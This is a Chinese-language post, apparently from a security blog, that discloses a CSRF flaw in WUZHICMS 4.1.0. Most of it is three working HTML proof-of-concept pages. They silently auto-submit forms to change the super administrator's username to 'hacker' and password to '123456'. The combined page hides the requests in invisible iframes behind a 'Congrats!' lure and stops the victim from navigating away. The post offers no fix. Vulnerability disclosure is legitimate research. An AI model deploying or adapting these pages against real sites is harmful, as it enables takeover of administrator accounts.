WUZHICMS 4.1.0更改超级管理员用户名和密码的CSRF漏洞

当超级管理员(uid = 1)登录时,有2个重要的POST方法没有CSRF保护,可以分别更改他的用户名和密码。这可以通过欺骗超级管理员登录时打开2个页面来实现。
poc1.html(将用户名更改为'hacker'

<!DOCTYPE html>
<html>

  <head>
  <title> CSRF Proof Of Concept - Change Super Admin Username</title>
  <script type="text/javascript">
    function exec1(){
      document.getElementById('form1').submit();
    }
  </script>
  </head>
  <body onload="exec1();">
    <form id="form1" action="http://localhost:8008/wuzhicms/index.php?m=member&f=index&v=edit&uid=1&_su=wuzhicms&_menuid=30&submit" method="POST">
      <input type="hidden" name="info[username]" value="hacker" />
      <input type="hidden" name="info[email]" value="xxx@xxx.xxx" />
      <input type="hidden" name="modelids[]" value="xxx" />
    </form>
  </body>
</html>

poc2.html(将密码更改为“123456”)

<!DOCTYPE html>
<html>

  <head>
  <title> CSRF Proof Of Concept - Change Super Admin Password</title>
  <script type="text/javascript">
    function exec2(){
      document.getElementById('form2').submit();
    }
  </script>
  </head>
  <body onload="exec2();">
    <form id="form2" action="http://localhost:8008/wuzhicms/index.php?m=core&f=panel&v=edit_info&_su=wuzhicms&_menuid=20&submit" method="POST">
      <input type="hidden" name="form[password]" value="123456" />
    </form>
  </body>
</html>

或者我们只制作了 1 POC 以使其易于攻击。
poc.html

<!DOCTYPE html>
<html>

  <head>
  <title> CSRF Proof Of Concept - Put Them Together</title>
  <script type="text/javascript">
    function exec1(){
      document.getElementById('form1').submit();
      setTimeout(exec2, 3000);
    }
    function exec2(){
      document.getElementById('form2').submit();
    }
    window.onbeforeunload=function(){
      return "please wait";
    }
  </script>
  </head>
  <body onload="exec1();">
    <h3> Dear User </h3><h4><div id='r3'> Congrats! </div> </h4>
    <form id="form1" target="if1" action="http://localhost:8008/wuzhicms/index.php?m=member&f=index&v=edit&uid=1&_su=wuzhicms&_menuid=30&submit" method="POST">
      <input type="hidden" name="info[username]" value="hacker" />
      <input type="hidden" name="info[email]" value="xxx@xxx.xxx" />
      <input type="hidden" name="modelids[]" value="xxx" />
    </form>
    <form id="form2" target="if2" action="http://localhost:8008/wuzhicms/index.php?m=core&f=panel&v=edit_info&_su=wuzhicms&_menuid=20&submit" method="POST">
      <input type="hidden" name="form[password]" value="123456" />
    </form>
    <iframe name="if1" style="display: hidden=" width="0" height="0" frameborder="0"></iframe>
    <iframe name="if2" style="display: hidden=" width="0" height="0" frameborder="0"></iframe>
  </body>
</html>

 

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞12赞赏 分享
评论 共1条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片
    • 头像撒魔0